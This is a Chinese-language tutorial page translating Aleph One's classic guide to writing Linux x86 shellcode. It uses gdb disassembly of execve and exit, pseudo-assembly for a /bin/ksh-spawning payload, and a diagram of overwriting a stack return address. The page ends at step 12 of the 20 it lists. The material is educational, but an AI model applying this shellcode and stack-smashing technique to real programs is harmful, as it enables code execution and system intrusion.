歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> SHELL編程

書寫Linux下自己的shellcode

<!--StartFragment-->概述:
=版權所有  軟件 下載  學院  版權所有=
    aleph1書寫了這篇經典文章,首先要向他致敬。
    tt整理翻譯了它,其次就是要向他表示衷心的感謝。

    該篇文章由淺入深地詳細介紹了整個書寫shellcode的步驟,
    並給出了圖示幫助理解。文章中涉及到了一些工具的使用,
    要求具備匯編語言、編譯原理的基礎知識,如果你對此不
    了解的話,我建議你不要看下去,而是應該回頭學習更基礎
    的東西。gdb、objdump、vi、gcc等等工具你必須學會使用,
    你必須了解call命令、int命令與普通jmp命令的區別所在,
    你還應該知道函數從c語言編譯到機器碼時做了什麼工作。
    如果所有的這一切都不成問題,你可以開始了。
    come on,baby!

測試:

    RedHat 6.0/Intel PII

目錄:

    ★ 讓我們開始吧

        1.  vi shellcode.c
        2.  gcc -o shellcode -ggdb -static shellcode.c
        3.  gdb shellcode
        4.  研究 main() 函數的匯編代碼
        5.  研究 execve() 函數的執行過程
        6.  vi shellcode_exit.c
        7.  gcc -o shellcode_exit -static shellcode_exit.c
        8.  gdb shellcode_exit
        9.  研究 exit() 函數的執行過程
        10. 整個過程的偽匯編代碼
        11. 觀察堆棧分布情況
        12. 修改後的偽匯編代碼
        13. 調整匯編代碼
        14. 觀察當前堆棧
        15. vi shellcodeasm.c
        16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
        17. gdb shellcodeasm
        18. 驗證shellcode
        19. 最後的調整
        20. 驗證最後調整得到的shellcode

    ★ 我對shellcode以及這篇文章的看法

        1. 你是從DOS年代過來的嗎?
        2. 關於文章中的一些技術說明
        3. 如何寫Sun工作站上的shellcode?

★ 讓我們開始吧

1. vi shellcode.c

#include
int main ( int argc, char * argv[] )



{
    char * name[2];
    name[0] = "/bin/ksh";
    name[1] = NULL;
    execve( name[0], name, NULL );
    return 0;
}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- -- 輸入
Dump of assembler code for function main:
0x80481a0 :       pushl  %ebp
0x80481a1 :     movl   %esp,%ebp
0x80481a3 :     subl   $0x8,%esp
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
0x80481b4 :    pushl  $0x0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
0x80481b9 :    pushl  %eax
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax
0x80481be :    call   0x804b9b0 <__execve>
0x80481c3 :    addl   $0xc,%esp
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret
End of assembler dump.
(gdb) disas __execve <-- -- -- 輸入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>:   pushl  %ebx
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
0x804b9bd <__execve+13>:        movl   $0xb,%eax
0x804b9c2 <__execve+18>:        int    $0x80
0x804b9c4 <__execve+20>:        popl   %ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>:        ret
End of assembler dump.

4. 研究 main() 函數的匯編代碼

0x80481a0 :       pushl  %ebp      # 保存原來的棧基指針
                                         # 棧基指針與堆棧指針不是一個概念


                                         # 棧基指針對應棧底,堆棧指針對應棧頂
0x80481a1 :     movl   %esp,%ebp # 修改得到新的棧基指針
                                         # 與我們以前在dos下匯編格式不一樣
                                         # 這個語句是說把esp的值賦給ebp
                                         # 而在dos下,正好是反過來的,一定要注意
0x80481a3 :     subl   $0x8,%esp # 堆棧指針向棧頂移動八個字節
                                         # 用於分配局部變量的存儲<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>
                                         # 這裡具體就是給 char * name[2] 預留<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>
                                         # 因為每個字符指針占用4個字節,總共兩個指針
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
                                         # 將字符串"/bin/ksh"的地址拷貝到name[0]
                                         # name[0] = "/bin/ksh";
                                         # 0xfffffff8(%ebp) 就是 ebp - 8 的意思


                                         # 注意堆棧的增長方向以及局部變量的分配方向
                                         # 先分配name[0]後分配name[1]的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
                                         # 將NULL拷貝到name[1]
                                         # name[1] = NULL;
0x80481b4 :    pushl  $0x0
                                         # 按從右到左的順序將execve()的三個參數依次壓棧
                                         # 首先壓入 NULL (第三個參數)
                                         # 注意pushl將壓入一個四字節長的0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
                                         # 將 ebp - 8 本身放入eax寄存器中
                                         # leal的意思是取地址,而不是取值
0x80481b9 :    pushl  %eax      # 其次壓入 name
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax      # 將 ebp - 8 本身放入eax寄存器中
                                         # 最後壓入 name[0]


                                         # 即 "/bin/ksh" 字符串的地址
0x80481be :    call   0x804b9b0 <__execve>
                                         # 開始調用 execve()
                                         # call指令首先會將返回地址壓入堆棧
0x80481c3 :    addl   $0xc,%esp
                                         # esp + 12
                                         # 釋放為了調用 execve() 而壓入堆棧的內容
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret

5. 研究 execve() 函數的執行過程

Linux在寄存器裡傳遞它的參數給系統調用,用軟件中斷跳到kernel模式(int $0x80)

0x804b9b0 <__execve>:   pushl  %ebx      # ebx壓棧
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
                                         # 把 esp + 16 本身賦給edx
                                         # 為什麼是16,因為棧頂現在是ebx
                                         # 下面依次是返回地址、name[0]、name、NULL
                                         # edx --> NULL


0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
                                         # 把 esp + 12 本身賦給 ecx
                                         # ecx --> name
                                         # 命令的參數數組,包括命令自己
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
                                         # 把 esp + 8 本身賦給 ebx
                                         # ebx --> name[0]
                                         # 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>:        movl   $0xb,%eax
                                         # 設置eax為0xb,這是syscall表中的索引
                                         # 0xb對應execve
0x804b9c2 <__execve+18>:        int    $0x80
                                         # 軟件中斷,轉入kernel模式
0x804b9c4 <__execve+20>:        popl   %ebx
                                         # 恢復ebx


0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
                                         # 判斷返回值,報告可能的系統調用錯誤
0x804b9d0 <__execve+32>:        ret      # execve() 調用返回
                                         # 該指令會用壓在堆棧中的返回地址

從上面的分析可以看出,完成 execve() 系統調用,我們所要做的不過是這麼幾項而已:

    a) 在內存中有以NULL結尾的字符串"/bin/ksh"
    b) 在內存中有"/bin/ksh"的地址,其後是一個 unsigned long 型的NULL值
    c) 將0xb拷貝到寄存器EAX中
    d) 將"/bin/ksh"的地址拷貝到寄存器EBX中
    e) 將"/bin/ksh"地址的地址拷貝到寄存器ECX中
    f) 將 NULL 拷貝到寄存器EDX中
    g) 執行中斷指令int $0x80

如果execve()調用失敗的話,程序將繼續從堆棧中獲取指令並執行,而此時堆棧中的數據
是隨機的,通常這個程序會core dump。我們希望如果execve調用失敗的話,程序可以正
常退出,因此我們必須在execve調用後增加一個exit系統調用。它的C語言程序如下:

6. vi shellcode_exit.c

#include
int main ()
{
    exit( 0 );
}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- -- 輸入
Dump of assembler code for function _exit:
0x804b970 <_exit>:      movl   %ebx,%edx
0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx
0x804b976 <_exit+6>:    movl   $0x1,%eax
0x804b97b <_exit+11>:   int    $0x80
0x804b97d <_exit+13>:   movl   %edx,%ebx
0x804b97f <_exit+15>:   cmpl   $0xfffff001,%eax
0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>
End of assembler dump.

9. 研究 exit() 函數的執行過程

我們可以看到,exit系統調用將0x1放到EAX中(這是它的syscall索引值),將退出碼放
入EBX中,然後執行"int $0x80"。大部分程序正常退出時返回0值,我們也在EBX中放入0。
現在我們所要完成的工作又增加了三項:

    a) 在內存中有以NULL結尾的字符串"/bin/ksh"
    b) 在內存中有"/bin/ksh"的地址,其後是一個 unsigned long 型的NULL值
    c) 將0xb拷貝到寄存器EAX中
    d) 將"/bin/ksh"的地址拷貝到寄存器EBX中
    e) 將"/bin/ksh"地址的地址拷貝到寄存器ECX中
    f) 將 NULL 拷貝到寄存器EDX中
    g) 執行中斷指令int $0x80
    h) 將0x1拷貝到寄存器EAX中
    i) 將0x0拷貝到寄存器EBX中


    j) 執行中斷指令int $0x80

10. 整個過程的偽匯編代碼

下面我們用匯編語言完成上述工作。我們把"/bin/ksh"字符串放到代碼的後面,並且會
把字符串的地址和NULL加到字符串的後面:

------------------------------------------------------------------------------
movl   string_addr,string_addr_addr    #將字符串的地址放入某個內存單元中
movb   $0x0,null_byte_addr             #將null放入字符串"/bin/ksh"的結尾
movl   $0x0,null_addr                  #將NULL放入某個內存單元中
movl   $0xb,%eax                       #將0xb拷貝到EAX中
movl   string_addr,%ebx                #將字符串的地址拷貝到EBX中
leal   string_addr_addr,%ecx           #將存放字符串地址的地址拷貝到ECX中
leal   null_string,%edx                #將存放NULL的地址拷貝到EDX中
int    $0x80                           #執行中斷指令int $0x80 (execve()完成)
movl   $0x1, %eax                      #將0x1拷貝到EAX中
movl   $0x0, %ebx                      #將0x0拷貝到EBX中
int    $0x80                           #執行中斷指令int $0x80 (exit(0)完成)
/bin/ksh string goes here.             #存放字符串"/bin/ksh"
------------------------------------------------------------------------------

11. 觀察堆棧分布情況

現在的問題是我們並不清楚我們正試圖eXPloit的代碼和我們要放置的字符串在內存中
的確切位置。一種解決的方法是用一個jmp和call指令。jmp和call指令可以用IP相關尋址,
也就是說我們可以從當前正要運行的地址跳到一個偏移地址處執行,而不必知道這個地址
的確切數值。如果我們將call指令放在字符串"/bin/ksh"的前面,然後jmp到call指令的位置,
那麼當call指令被執行的時候,它會首先將下一個要執行指令的地址(也就是字符串的地址
)壓入堆棧。我們可以讓call指令直接調用我們shellcode的開始指令,然後將返回地址(字符
串地址)從堆棧中彈出到某個寄存器中。假設J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/ksh",那麼我們執行的順序就象下圖所示:

內存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     內存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c



<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
棧頂                                                              棧底

sfp  : 棧基指針
ret  : 返回地址
a,b,c: 函數入口參數

(1)用0xD8覆蓋返回地址後,子函數返回時將跳到0xD8處開始執行,也就是我們shellcode
   的起始處
(2)由於0xD8處是一個jmp指令,它直接跳到了0xE8處執行我們的call指令
(3)call指令先將返回地址(也就是字符串地址)0xEA壓棧後,跳到0xDA處開始執行

12. 修改後的偽匯編代碼

經過上述修改後,我們的匯編代碼變成了下面的樣子:

------------------------------------------------------------------------------
jmp    offset-to-call           # 3 bytes 1.首先跳到call指令處去執行
popl   %esi                     # 1 byte  3.從堆棧中彈出字符串地址到ESI中
movl   %esi,array-offset(%esi)  # 3 bytes 4.將字符串地址拷貝到字符串後面
movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.將null字節放到字符串的結尾
movl   $0x0,null-offset(%esi)   # 7 bytes 6.將null長字放到字符串地址的地址後面
movl   $0xb,%eax                # 5 bytes 7.將0xb拷貝到EAX中
movl   %esi,%ebx                # 2 bytes 8.將字符串地址拷貝到EBX中
leal   array-offset(%esi),%ecx  # 3 bytes 9.將字符串地址的地址拷貝到ECX
leal   null-offset(%esi),%edx   # 3 bytes 10.將null串的地址拷貝到EDX
int    $0x80                    # 2 bytes 11.調用中斷指令int $0x80
movl   $0x1, %eax               # 5 bytes 12.將0x1拷貝到EAX中
movl   $0x0, %ebx               # 5 bytes 13.將0x0拷貝到EBX中
int    $0x80                    # 2 bytes 14.調用中斷int $0x80


Copyright © Linux教程網 All Rights Reserved